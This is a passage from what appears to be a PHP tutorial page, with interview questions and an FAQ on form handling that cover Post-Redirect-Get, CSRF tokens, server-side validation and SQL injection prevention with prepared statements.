The browser warns because POST requests are not idempotent — repeating the request could have side effects like duplicate database entries. The standard fix is the Post-Redirect-Get (PRG) pattern: after successfully processing the POST request, send a 302 redirect header to a GET URL (often a success page). The browser fetches the GET URL, and refreshing now only reloads that GET page, not the original POST. This prevents duplicate submissions. In PHP: header('Location: success.php'); exit; after processing.
Q04 of 04SENIOR
Explain how to implement CSRF protection for a PHP form that handles user deletion.
ANSWER
CSRF (Cross-Site Request Forgery) protection ensures that the form submission came from the actual user, not from an attacker on another site. Steps: 1) Generate a random token on the server when the form page is loaded (e.g., bin2hex(random_bytes(32))) and store it in the session. 2) Include the token as a hidden field in the form. 3) On POST, retrieve the token from the session and compare it with the one from $_POST using hash_equals() to prevent timing attacks. 4) If they don't match, reject the request. 5) Regenerate the token after successful submission to prevent replay attacks. This renders CSRF attacks ineffective because the attacker cannot guess the token stored in the victim's session.
01
What is the difference between $_GET and $_POST in PHP, and how do you decide which one to use for a given form?
JUNIOR
02
A user submits a form with their name as . Your PHP script echoes it back to the page. What happens, and how do you fix it?
JUNIOR
03
If you refresh a page after submitting a POST form, the browser asks 'Are you sure you want to resubmit?' — why does this happen, and what is the standard way to prevent the same form from being processed twice?
SENIOR
04
Explain how to implement CSRF protection for a PHP form that handles user deletion.
SENIOR
FAQ · 5 QUESTIONS
Frequently Asked Questions
01
What is the difference between $_GET and $_POST in PHP?
$_GET holds data sent via the URL query string (e.g. page.php?name=Alice), making it visible and bookmarkable — ideal for searches. $_POST holds data sent in the HTTP request body, keeping it out of the URL — required for passwords, login forms, and anything that modifies data. Both are superglobal arrays PHP populates automatically on every request.
Was this helpful?
02
How do I stop PHP from showing 'Undefined index' notices when a form field is empty?
Use the null coalescing operator: $value = $_POST['fieldname'] ?? ''. This returns the value if it exists, or an empty string if it does not, without throwing any notice. Alternatively, check with isset($_POST['fieldname']) before accessing the key. This is especially important on the first page load before the form has been submitted.
Was this helpful?
03
Is HTML form validation (required, type='email') enough to protect my PHP application?
No — HTML validation is browser-side only and can be completely bypassed by disabling JavaScript, using browser dev tools, or sending a raw HTTP request with tools like curl or Postman. It improves user experience but provides zero security. Every field must also be validated inside your PHP script on the server before you use or store the data.
Was this helpful?
04
What is the Post-Redirect-Get pattern and why is it important?
PRG is a design pattern that prevents duplicate form submissions. After a successful POST (e.g., order placed), the server sends a redirect (HTTP 302) to a GET URL (e.g., a success page). The browser then loads that page via GET. If the user refreshes, only the GET request is repeated — the POST is not replayed. In PHP, use header('Location: success.php'); exit; after processing the form data.
Was this helpful?
05
How do I prevent SQL injection in PHP forms?
Never concatenate user input directly into SQL queries. Use prepared statements with PDO or MySQLi. Example with PDO: $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $input]); This separates SQL logic from data and prevents injection regardless of the input content.